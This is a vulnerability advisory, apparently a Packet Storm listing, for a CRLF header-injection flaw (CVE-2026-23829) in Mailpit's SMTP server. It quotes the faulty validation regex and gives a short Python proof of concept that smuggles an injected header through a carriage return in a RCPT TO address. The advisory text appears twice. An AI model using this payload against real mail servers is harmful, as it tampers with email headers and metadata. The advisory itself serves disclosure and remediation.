5.3
/ 10
MEDIUM
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Description
A CRLF injection vulnerability exists in Mailpit's SMTP server versions prior to 1.28.3. The vulnerability allows attackers to inject arbitrary SMTP headers by including carriage return characters in email addresses due to insufficient regex validation...
Basic Information
ID
PACKETSTORM:214763
Published
Feb 2, 2026 at 00:00
Affected Product
Affected Versions
Mailpit - SMTP CRLF Injection via Regex Bypass
Advisory ID: RO-26-004
CVE ID: CVE-2026-23829
Severity: Medium
Vendor: axllent
Product: Mailpit
Version: <= v1.28.2
Overview #
A CRLF Injection vulnerability exists in Mailpit's SMTP server. The vulnerability allows attackers to inject arbitrary SMTP headers by including carriage return characters (\r) in email addresses due to insufficient regex validation.
Vulnerability Details #
Affected Versions: <= v1.28.2
Root Cause: The regex patterns used to validate RCPT TO and MAIL FROM addresses fail to exclude \r and \n characters. The \v escape sequence inside a character class only matches Vertical Tab, not CR/LF.
Vulnerable Code: The vulnerability exists in internal/smtpd/smtpd.go:
rcptToRE = regexp.MustCompile(`(?i)TO: ?<([^<>\v]+)>( |$)(.*)?`)
mailFromRE = regexp.MustCompile(`(?i)FROM: ?<(|[^<>\v]+)>( |$)(.*)?`)
Exploitation Requirements #
Network access to SMTP port (default 1025)
No authentication required
Impact #
Remote attackers can exploit this vulnerability to:
Inject arbitrary SMTP headers
Corrupt email metadata and Received headers
Generate malformed .eml files
Violate RFC 5321 compliance
Proof of Concept #
import socket
def exploit():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 1025))
s.recv(1024)
s.send(b"EHLO test.com\r\n")
s.recv(1024)
s.send(b"MAIL FROM:<[email protected]>\r\n")
s.recv(1024)
# Injecting \r
payload = b"RCPT TO:<victim\rX-Injected: Yes>\r\n"
s.send(payload)
resp = s.recv(1024)
print(f"Server Response: {resp.decode()}") # Expect 250 OK
s.close()
exploit()
Solution #
Upgrade to Mailpit version 1.28.3 or later.
References #
GitHub Security Advisory GHSA-54wq-72mp-cq7c
CWE-93: CRLF Injection
CWE-150: Improper Neutralization of Escape Sequences
Timeline:
[2026-01-13] - Reported
[2026-01-15] - Fixed
[2026-01-17] - CVE Assigned
[2026-01-18] - Published
Credits: Omar Kurt
Advisory ID: RO-26-004
CVE ID: CVE-2026-23829
Severity: Medium
Vendor: axllent
Product: Mailpit
Version: <= v1.28.2
Overview #
A CRLF Injection vulnerability exists in Mailpit's SMTP server. The vulnerability allows attackers to inject arbitrary SMTP headers by including carriage return characters (\r) in email addresses due to insufficient regex validation.
Vulnerability Details #
Affected Versions: <= v1.28.2
Root Cause: The regex patterns used to validate RCPT TO and MAIL FROM addresses fail to exclude \r and \n characters. The \v escape sequence inside a character class only matches Vertical Tab, not CR/LF.
Vulnerable Code: The vulnerability exists in internal/smtpd/smtpd.go:
rcptToRE = regexp.MustCompile(`(?i)TO: ?<([^<>\v]+)>( |$)(.*)?`)
mailFromRE = regexp.MustCompile(`(?i)FROM: ?<(|[^<>\v]+)>( |$)(.*)?`)
Exploitation Requirements #
Network access to SMTP port (default 1025)
No authentication required
Impact #
Remote attackers can exploit this vulnerability to:
Inject arbitrary SMTP headers
Corrupt email metadata and Received headers
Generate malformed .eml files
Violate RFC 5321 compliance
Proof of Concept #
import socket
def exploit():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("127.0.0.1", 1025))
s.recv(1024)
s.send(b"EHLO test.com\r\n")
s.recv(1024)
s.send(b"MAIL FROM:<[email protected]>\r\n")
s.recv(1024)
# Injecting \r
payload = b"RCPT TO:<victim\rX-Injected: Yes>\r\n"
s.send(payload)
resp = s.recv(1024)
print(f"Server Response: {resp.decode()}") # Expect 250 OK
s.close()
exploit()
Solution #
Upgrade to Mailpit version 1.28.3 or later.
References #
GitHub Security Advisory GHSA-54wq-72mp-cq7c
CWE-93: CRLF Injection
CWE-150: Improper Neutralization of Escape Sequences
Timeline:
[2026-01-13] - Reported
[2026-01-15] - Fixed
[2026-01-17] - CVE Assigned
[2026-01-18] - Published
Credits: Omar Kurt